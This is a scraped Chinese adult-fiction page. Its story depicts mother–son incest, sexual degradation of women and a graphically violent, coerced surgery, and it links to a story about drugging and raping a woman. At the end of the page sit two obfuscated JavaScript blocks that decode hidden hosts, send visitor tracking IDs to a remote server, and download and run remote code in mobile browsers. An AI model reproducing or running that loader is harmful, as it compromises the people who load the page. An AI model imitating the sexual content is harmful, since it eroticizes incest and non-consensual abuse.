娑娜不自然地微微颤了乳房。

“不是你。”

女王轻轻推开娑娜的硕乳,她哪�都好,只是出身太低“你只要照顾好洛基就好。”

娑娜整好胸衣,她的逼紧张地紧了紧,不知是遗憾还是庆幸。

洛基最后在女王的乳头舔舔,“吃饱了。”

娑娜贴心地为女王擦拭胸部,洛基则是习惯性地用手抿抿嘴。

她只服务女王一人,对于洛基她只有看护和哺育的义务。

站在镜子前,娑娜帮女王穿好衣服。

卧室的整面墙壁都是镜子,映照着红色的地摊和女王的吊床,阳光从屋顶的竖窗被水晶玻璃折射进来柔柔地撒在床纱上,女王每每从睡梦中醒来,看到镜中懒懒依床的自己,细致的皮肤在晨曦下含蕴着荣光,下体的美钻沐浴阳光,灼灼生辉,仿佛又一股暖流温润着她的私处,那一刻,她宛若女神。

她实在太完美了。

女人本来就是世界上最美的存在,只是许多女人都有一些小瑕疵,她们或许面容不够娇媚,或许胸部不够饱满,或许小腹不够健美,或许阴户不够性感,或许脚趾不够精致,所以她们羞于展示自己的胴体,而一个对自己身体自信的女人会故意用走光等方式展现自己的美丽,她们喜欢别人欣赏自己的身体,炫耀和风骚才是女人骨子�的天性。

“叫诺克今晚过来。”

女王套上长筒手套,今天她要为自己的儿子挑选女人。

夜火公司的大门从早上起就已经被记者们围得水泄不通。

炎炎烈日下,他们焦急地等待着报道一个商界的爆炸性新闻,夜火收购缪斯。

而在夜火大厦的顶层,缪斯旗下的一众艺人也在焦急地等待新主人的驾临。 她终于来了。

黑色的车门打开,袭来夏日�沁人心脾的凉风,加长的车身�面很宽敞,有记者看到,女王在赫尔曼的协助下才刚刚穿上鞋子。

没有仆人,缪斯的董事赫尔曼接过女王的酒杯,谦卑地搀扶着微醺的女王走下御驾。

所有的闪光灯都对准了她,记者们已经在这�等待了六个小时,本来他们一睹女王荣光的心情早已被焦急取代。

女王厌弃地掩着鼻子,在众人的簇拥下走入夜火帝国。

玻璃门和保安无情地把一众记者拦在门外。

“草,等了这么久连一个正脸都不给!”

“看到没有,赫尔曼在给海伦娜穿鞋时是跪着的。”

“妈的,给我个正脸我也给她跪下。稿都写好了主编就催这张照片。” “骚货,给我个机会我操死她。”

“索菲,你去处理一下外面的记者。”

女王甩开赫尔曼,被他搀扶只是要向外界表达她对缪斯绝对的驾驭姿态。 “这样不太好吧?”

索菲犹豫着,她是女王干练的助手,她的才华与身材一样令女王满意。 “他们一股汗臭味,我不想见。”

女王头也不回地走进电梯,比起收购缪斯她更关心谁会成为儿子的女人。 缪斯是亚洲最大的艺人公司。

此刻,缪斯旗下的所有年轻女艺人都汇集在夜火顶层,在长久等待之后,她们获准进入女王的圣殿。

“赫尔曼,把车�剩下的处女拿上来。”

处女是1865年的顶级红酒。

“是的,女王大人。”

赫尔曼谦卑地退下。

那些艺人们惊呆了,她们从未想过她们的主人赫尔曼有一天会如此的卑躬屈膝。

“以后我就是你们的主人,你们可以叫我女王大人。”

女王优雅地转过身,黑色的紧身礼服勾勒出她美好的身形,“赫尔曼不会再干涉你们,他已经和你们没有关系了。”

那些艺人们不乏国际巨星,养尊处优的她们却不敢在女王面前造次。

“现在脱掉你们的衣服,一件都不要留。”

女王简单翻阅着她们的资料,似乎漫不经心,简单的几页纸上详细地记录着所有人的最私密的隐私。

它不仅记录着女艺人的三围年龄被潜程度,甚至是她们的阴道深度阴唇厚度性爱情况整容与否。

一众女星在这几页薄薄的纸上都是没有隐私的透明人。

神秘是女人最大的魅力,被掌握了最私密性事的女人就像被人消遣的女优,被人弄碎了高贵,即使再美丽也是下贱。

“娑娜姐姐。”

洛基舔舐着娑娜的硕乳脸上尽是满足。

“嗯?”

娑娜是个温婉的女孩,说她是女孩是因为她还是个二十一岁的小处女,凭着注射激素泌乳,神奇的激素不仅让她拥有同龄人难以企及的硕胸肥臀也让她对性爱的渴求比别人炽烈得多。

“娑娜姐姐,我想干你。”

洛基挑弄着娑娜细红的乳头,还在发育的乳房格外敏感,慢慢的竟鼓起来了。

娑娜红了脸,她提起自己的胸衣就转过身去。

“娑娜姐姐。”

洛基猛地从后面扣住了娑娜的胸,“我想干你。”

娑娜的下体湿润了。

被洛基干,她不是没有想过,她一个穷人家的孩子,上大学时一个人租潮湿的地下室饥一顿饱一顿,最窘迫的时候内衣破旧了也没有钱换,挺着硕乳可以被同学从衬衣下看到鼓起的乳头,被那群男生盯着手淫的耻辱她永远不要回忆,见识了女王的奢华她就再也不想回到原来。

在她的心�也无比渴望着成为一个女王。

成为洛基的女人,哪怕被他的爱液射入身体做一个连他的情人都算不上的泄欲工具对她而言都是大有益处的,只要和洛基建立了肉体上的联系,她的屄就能养活她一辈子锦衣玉食。

娑娜转身给了洛基一个甜美的微笑,她故意不把胸衣扣好,光洁的丰乳软软的露出来了大半,“洛基怎么能干姐姐呢?姐姐又不是洛基的女人。”

“那就让姐姐成为洛基的女人呗。”

娑娜的胸部也是一直哺育洛基的食物,当洛基把食欲变成对女人肉体的渴望,娑娜的胸部就成了巨大的诱惑。

“可女王并没有挑选我做洛基的女人啊。”

女孩子总会比男孩子更早成熟,懂得用自己的身体去谋取,她拉过洛基的手放在自己胸上,“虽然姐姐也很想成为洛基的女人和女王一起一直地哺育洛基。”

“我要和妈妈在一起,也要和娑娜姐姐在一起。”

洛基为难地抚摸着娑娜的硕乳。

“但姐姐终究会成为别的男人的女人,被别的男人玩弄了。”

娑娜一边说着,一边顾影自怜似的抚摸着自己的乳房。

“不要!”

洛基愤怒地打开娑娜的手,狠狠地抓住她的硕乳,仿佛要把什么宝物据为己有,“你永远都是我的。”

洛基狠狠地揉搓娑娜的硕乳,娇嫩的胸部被他搓红拉扯成别的形状,娑娜顺势躺在窗台上,双手娇柔地举起来忍着痛并不反抗。

洛基的鸡巴挺了起来,尴尬地抵在娑娜的阴户,娑娜感到似乎有无数蚂蚁在自己的阴部爬行。

她是个有欲望的女孩,但她的欲望已经被压抑太久了。

女王不允许被别人干过的女人喂养自己的儿子,所以她找了一个处女,靠着注射激素泌乳的娑娜被明令禁止做爱和手淫,以免内分泌紊乱,可是她也是有情欲的,每天被一个男人吸允乳房,每天看女王和不同的情人做爱,在房外听到女王销魂蚀骨般地呻吟,她多希望有一天骑在男人身上的是自己,她多渴望有一天自己的阴部能镶上七色彩钻魅惑众生般地将那些英俊的男人变成自己裙下仆臣。 “啊∼”

随着洛基的插入,娑娜终于叫出了自己的第一声。

她无时无刻不在准备着这次叫床,处女的叫床都难免生疏,她们还不会用叫床来引导自己的爱侣,不会用那婉转的起伏表达自己的感受,只是有了快感就叫出来。

女孩们回忆起初夜,总是羞涩与自己生疏的表现却又无法忘记初次体验人生极乐的快感。

鲜血温婉地划过大腿低落在地面,她享受着一生唯一的一次疼痛,依在洛基的怀�几乎要昏了过去。

她忘了自己的禁忌,下意识地用被丝袜包裹着的美腿勾住了洛基的腰,用尽全力留下这一份快感。

女孩比男孩早熟,也比男孩感性,她们在她们眼�男孩幼稚可笑,可之所以很多成熟御姐都会软在甚至是一个挫男怀�千依百顺,是因为当男人进入她的时候,她敏感的神经瞬间就会被征服。

原来,女王每天都会这么舒服……匍匐在洛基身下,娑娜的眼睛�透出无尽的欲望,她也要成为女王。

“天王偶像,性感女神,实力影后。”

女王挑剔地看着面前这一张张艺人的脸。

所有已经名声显赫的艺人都已经年老色弛,天王偶像长起了小肚腩,性感女神的下体黑的像个娼妓,可想而知为了成为女神她在床上有多努力,影后的乳房已经下垂到腹部,这就是年轻时隆胸的恶果。

“都已经是大妈了,真不知道化妆师和摄影师平时有多努力。”

女王失望地摇头。

“小姑娘怎么说话的。”

影后哪�听到过这样的话,但又不敢惹怒女王“说的好像你不会老似的,等你到了四五十岁指不定老成什么样呢。”

女王含蓄地笑着,她以为自己多大,小姑娘?她只比自己大两岁而已,所以她说:“我吗?五十岁的时候我一定还是现在的样子,F-size,饱满得不用穿胸衣。”

影后妒忌地盯住女王傲人的双峰,她知道她的确没有穿胸衣,她也曾经拥有过那种傲人的坚挺,但一切都随着时间失去了。

“这样吧,明天把你们的女儿都带来。”

女王下完命令,走出办公室。

娑娜是一块璞玉,有着精美的五官和匀称的身材。

当她穿上性感的衣物就变成了床上诱人的尤物。

银制的额冠,镂空的丝质手套,收身的紧身裙,纯白的丝袜和水晶高跟鞋,她终于穿上了女王的衣物。

在女王的吊床上,她被洛基按在那�,随着洛基的抽动吊床也晃动着。 她太享受这个感觉了,沈甸甸的额冠和薄软的丝质手套让她感受到自己的高贵,特制的紧身裙勾出少女优美的曲线,尤其是胸部的设计她感到自己的胸部像被一双可靠的手托住,低开的领口露出浅浅的乳晕,显得又大又性感。

塑腿的丝袜将小腿收得修长有力,加上梦幻般的水晶高跟鞋,女人的腿与脚已然变成了唯美的存在。

她觉得自己像个女王。

她用力夹紧自己的阴道,就像唿吸一样女人的阴道天生是会蠕动的,夹住了洛基的鸡巴,她好像便已经牢牢地夹住了世界的权柄,一种由内而外的满足感油然而生。

所以她在笑,女孩的第一次多少会有点痛苦,她又是阴道比较窄小的女孩,要知道洛基的不可思议的尺寸是很多熟女都惧怕的。

洛基不知道她为什么会笑,难道是因为自己给她找来了妈妈的衣服?娑娜不是像妈妈那样勾人的女人,虽然很紧,但不像妈妈那样销魂蚀骨时撩时吮。 娑娜还是个女孩,她的蠕动对于体验过女王灵动肉体的洛基来说还是太无力了。

但娑娜就像一个公主,做爱时笑得很美纯纯的叫人爱怜。

“明天就是妈妈五十岁的生日了。”

女王坐在吊床上爱怜地抚摸着洛基的脑袋,“一转眼洛基都已经长这么大了。”

洛基顺从地依着女王,她不理解五十岁之于女人是什么概念,在他的印象�,妈妈就一直是个青春期的姐姐,叛逆又妖娆,尝试着不同的风格,变着花样美。

“妈妈是个自私的人,妈妈不愿意老。”

女王抚摸着洛基的发丝,有些忧伤,然而她又笑了,“洛基,你知道吗,你是妈妈的珍宝,如果没有你,妈妈就会寂寞的死掉,就像没有种子的花一样可怜的枯萎。”

她抚摸着洛基,那是她三十岁时上天赐予她的珍宝,她本身并不是完美的女人,只是植入魅惑后她才靠着完美的激素分泌获得了傲人的身材和无暇的皮肤。 激素对人体的调节作用是巨大的,尤其之于女人。

它决定了女人罩杯的大小身材的发育阴部的紧致甚至欲望的多寡。

魅惑给她了这完美的一切后却也使她付出了巨大的代价,魅惑使她全身的生殖细胞都被子宫不停重新吸收分化变成维持她青春的新细胞,也就是说,她几乎完全丧失了生殖能力。

庆幸,女王在植入手术前冷冻了七颗卵子,她把自己的卵子与世界上最优秀的男人精子结合受精才终于有了洛基。

洛基是唯一成功的受精卵,那是她唯一的种子。

她可以将别的男人踩在脚下肆意玩弄榨取他们的生命精华,只有洛基,她是甘愿用自己的身体和生命去哺育灌溉。

她宠爱洛基,允许他犯所有的错误,哪怕他是在觊觎自己的身体。

对于女人来说,闭经是可怕的。

尤其是对海伦娜,她的魅惑使生殖细胞分化成各种新细胞维持自己的青春,可是一旦自己闭经当她无法分泌生殖细胞时,她就会老去。

即使是性感尤物的女王,皱纹也会爬上她的面庞,高耸的乳房会比一般人下垂的更加厉害,紧致的阴户会松弛,天哪。

海伦娜无法想象五十岁后的自己,每每想到这�都无法面对自己老去的样子。

泪水无声地滴落在女王的吊床上,在狐裘松软的绒毛上留下浅浅的痕迹。 海伦娜趴在洛基的肩膀上,忍不住轻声抽泣起来。

若是别人看到,定然以为是妙龄少女向爱郎吐诉伤心事,五十岁还没有到来,四十九岁的女王依然青春靓丽。

“再做一次吧。”

女王像是忽然下了什么决心,她擦干眼泪,朝着儿子妩媚一笑:“如果妈妈枯萎了,洛基要记得妈妈最美的样子。”

重生手术在夜火大厦的底层有一个秘密的房间,这是女王保持青春最大的秘密。

那是一个研究中心,二十年来一直监测着女王的各项数据,血压,激素分泌,药品注入量甚至每一次性事,在这�,女王没有秘密。

女王花费天价来支持研究中心的持续,那�也提供给她最完美的保养服务,包括每周两次的青春针剂和每月一次的阴部护理等等。

现在,他们要做的是帮助女王恢复花季的青春。

花蕾重绽计划,是二十多年来女王一直大力扶持的项目,如果能够成功,女王就能梅开二度,重新返回自己十几岁的生理状况。

但是没有成功率保障,因为没有人接受过这个手术。

为了美丽的青春,女王毅然接收手术,女王的生命只有傲人的盛放和凄美的死亡,没有丑陋的枯萎。

内室的门打开,不着寸缕的女王出现在门后,美丽的面容和撩人的私处依然在向人们诉说这她的魅力。

已经超过6个小时没有进食,她服下的胶囊帮助她排空了身体肠道中的所有废物,12个医护人员已经在特制的手术台前等待着她。

剃光美丽的秀发,固定好女王的四肢,特制的手套固定住她的每一根手指,以防在过度的痛苦中会抓伤自己,手肘,膝盖,脚踝,都被固定好,大腿根部和腰部被特制的臀托固定的一动也不能动。

“准备好了吗?”

在确认之后,女王身体的处置权将交由医生,手术不会停止,即使是女王再痛苦。

女王点点头,一个由契合女王牙齿型号的仿生模子被送到女王口腔,固定住牙齿和舌头,以防在痛苦中女王的牙齿会咬到自己的舌头。

脖子和头部被缚好。

此时,女王已经不能说话,即使是想终止手术也不能做到。

几个医生相互点头,确定手术开始。

臀托下坠,女王不由自主地呈坐姿,一个医生把一个小型电击棒插入女王后庭,在女王庭深处,电击棒由相联导管充气直到卡在�面不能滑动,臀托重新闭合,只留下导管像尾巴一样从女王后庭延伸出来。

消毒的紫外线灯打开,臀托上浮,女王的臀部被擡高,直到她的阴部完全呈现在众人面前。

只感到阴部被人揉搓,油状的液体被擦拭在自己下体,医生拿起剃刀,女王昔日爱惜的五色阴毛被医生尽数剃掉。

因为女王的身子已经交由医生处置,即使医生要在此时与女王性交也在权限之内。

他们用除毛喷枪烧掉女王的残留毛渣,又用激光扫除女王阴部皮肤下的所有毛囊,这样女王的下体就再也长不出毛发,女王被他们人工的变成了白虎。 接着,九根手术针分别洞穿了女王的小阴唇,他们由九个细细的机械臂牵拉把女王紧致的阴部张开到最大,然后把扩阴器塞入女王阴部,透明的扩阴器支撑着女王的阴部,发出明亮的光,把女王最私密的地方照的纤尘可见。

女王一项爱惜自己的阴户哪�有被撑开这么大过,加上小阴唇的刺穿,她痛得大汗淋漓却又无可奈何。

扩阴器使医生有足够的视野和操作空间实施手术。

女王的g点医生们是知道的,一个医生用电流刺激女王的g点,女王哪�受得了这样的刺激,顿时几乎要昏了过去,这时,只听见医生说,“海伦娜,子宫做上吸运动。”

所谓上吸运动,就是性功能强大的女人为了增加受孕机会高潮时会有子宫上吸精子的现象,因为会对男方产生巨大的刺激促使其二次射精,民间把这种现象叫做吸精,视为不祥。

但是在手术前,医生嘱咐她练习上吸运动来保证手术顺利进行。

海伦娜忍着痛在强大的刺激下拼命吸吮,医生瞬间从她的子宫宫颈处摘下了那颗植入她的子宫之后从未脱离过的钻石——魅惑。

那是魅惑石中最大的一块,也是魅惑的母石,子宫魅惑,它影响着女人的分泌,让女人长时间的保持魅力并且极大程度的免受阴蒂�魅惑石的影响。 此次手术最大的目的就是它了。

而阴蒂魅惑石是催动被辐射的人动情,并且增加被辐射的人的性能力。 而后,医生们马上用手术刀剖出阴蒂魅惑石,因为没有子宫魅惑石的保护,阴蒂魅惑石直接接触人体是非常有害的,它会让宿主发情并且持续高潮泄身。 由于宝石摘取需要宿主的配合,女王不能被注射麻药。

被摘取自己嵌在子宫的宝石,就好像突然强制自己做了一次分娩,那种痛苦,几乎让女王后悔自己做了女人,由于洛基是体外培养,所以她根本不曾怀孕生过孩子,然而生命是公平的,它要把最大的痛苦赐给这个自私的女人。

汗水湿透了女王的身子,她的嘴�不住发出含煳的哀嚎,可医生们丝毫不为所动,他们擦干了女王阴部溢出的汗水,继续进行手术。

两颗魅惑宝石被其余人员清洗,然后交由专业人员处理,剩下的彩钻被一一拔除,放在无菌箱�等待处理。

止血剂被及时填充,不一会,女王昂贵诱人的下体就变成了千疮百孔的烂肉。

原本世界上每个男人都渴望进入的下体被撑的变形,相信除了极端的心理变态没有人愿意看它一眼。

四个贴片分别贴在女王的前后腰上,那是为了刺激女王发情。

女王只感到卵巢灼烧一般的痛,却不知道,此时她的生殖细胞正在以全人类不曾达到的速度分化。

十五分钟之后,医生将一个吸盘连接了女王的阴道,随着医生按钮按下,一股电流从女王后庭深处的电击棒上直接刺激女王的尾椎,那是生物学上超出了大脑控制以外的真正意义的强制潮吹,只要电流不停止,一直兴奋的生殖器会喷出所有的液体。

女王一生中从未经历过这样刺激的潮吹,电流使她的后庭肌肉群收缩,更加紧电击棒,电击棒则持续的让女王兴奋,那种无可禁制的快感超越了欲望,把所有的东西射出去,在那生命的激流中,女王甚至可以感受到,自己的灵魂也喷薄而出。

只是,没有人会在高潮之后抱紧她叫她宝贝,即使她已经虚脱到翻着白眼流着泪,面无表情的医生只是反复开关电击棒用那摧残的刺激来试探她是否排干了所有的爱液。

她面如死灰,仿佛生命的力量都随着爱液从身体流失,她已经没有意识,可身体还在不由自主的痉挛。

“啪”

一声脆响,出人意料地,那个连接着女王阴道的吸盘掉在了地上,女王宝贵的爱液缓缓流淌在地上,所有的爱液都不能用了。

那个吸盘在地上还是连接着女王的阴道,女王,脱阴了。

丑陋的阴道从女王下体脱出,在女王松弛的阴户间摇曳,没有丝毫弹性。 医生顿时束手无策,没有女王的爱液作为手术的原材料,女王不仅不能重生,甚至连生还的可能性也几乎没有。

纵使女王幸免一死,可是生殖系统全面破坏也只能靠注射激素度日。

重新连接了吸盘,医生顾不上把阴道给女王塞回去,马上又打开了电击棒。 尽管女王已经在电击棒的折磨下不成人形,可是这一次吸盘�再也没有出现一丝爱液。

返老还童,回复青春,到底只能是泡影。

“PlanB。”

医生不得已给女王下达了死亡命令。

所谓planb,就是手术失败后为了减轻痛苦的极端计划。

一个医生已经把安乐死准备好。

“等等,我们再试试,可能卵巢�还有卵子。”

不消一刻钟,熟练的医生们已经取出了女王包括阴道子宫输卵管卵巢在内的整个生殖系统。

“已发现存活卵子。”

“马上培养。”

女王被许多输液管连接着维持生命,假体被放入体内以维持她的身体构架,此时也许不能称唿他女王了,失去了第一性特征和整套生殖系统的他已经不能被判定为一个女人。

高高在上的女王,终于尝到了任人宰割的滋味。

第二天,海伦娜的乳房被刺穿,新的乳芽被植入胸部,等待从新发育成乳房,原来的乳房被整个切除,抛弃在垃圾桶�。

并且,腰身的骨骼被重新打磨,以拥有更纤细完美的胸围。

此时她完全失去女性特征。

第六天,新培育的生殖系统植入她的身体。

......第一百天,新的皮肤已经代替原有的皮肤,女王被放在保育箱�全面接受reback光线照射,该光线能使女性的皮肤更加光鲜靓丽。 当然,女王含着的光棒使她的舌头也不能逃过,刚刚接受了纹舌手术的她现在有了一条永远是粉红色的诱人舌头。

第一百零一天,洛基来抱走了他还不能走路的母亲。

月色迷人,又是一个那样暧昧的夜晚。

看着在自己身边熟睡的洛基,仿佛又回到了那个初次与洛基交合的晚上。 一切都没有变,只是洛基长大了许多。

对了,自己床前的大镜子也消失不见。

“妈妈。”

洛基似睡似醒地抱住了女王,轻轻亲吻她的额头,一如自己平时亲吻他那样。

也许,一切都是个噩梦。

海伦娜不再回忆手术的过往。

房间�没有镜子,她也不愿意看到自己现在的模样。

她除了儿子不与任何人见面,默默着等待着回复自己的美丽。

一年后。

夜火大厦�举办了最隆重的成人礼,是为了庆祝海伦娜家族新一代美少女泫雅接管整个夜火集团。

华丽的灯光下,十八岁的美丽公主牵手洛基走上中心舞台。

孔雀髻,束胸衣,前开的裙子露出诱人的底裤,纱纺高跟鞋。

精致的容颜,才18岁就有了唯美的胸型,纤细的腰肢,娇嫩的长腿。 海伦娜家族又一个绝美的尤物。

泫雅优雅地向众人挥手,这样的场合她已经参加得太多太多。

忽然,大厅�的灯都熄灭,温暖的音乐响起,一盏镁光灯打在泫雅身上,明媚动人。

“做我的爱人。”

洛基单膝跪地,打开手中的盒子,魅惑宝石安安静静地躺在�面,发出诱人的光。

“天呐,你疯了吗?”

泫雅怎么也不能想到洛基竟然会在这�向她求婚。

“你拒绝不了。”

洛基坏坏地笑着,“我要你。”

感谢您的分享才有的欣赏

大家一起来跟我推爆!

路过看看。。。推一下。。。

大家一起来跟我推爆!


上一篇:我竟参加了3P聚会

下一篇:给女领导下药后偷奸


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};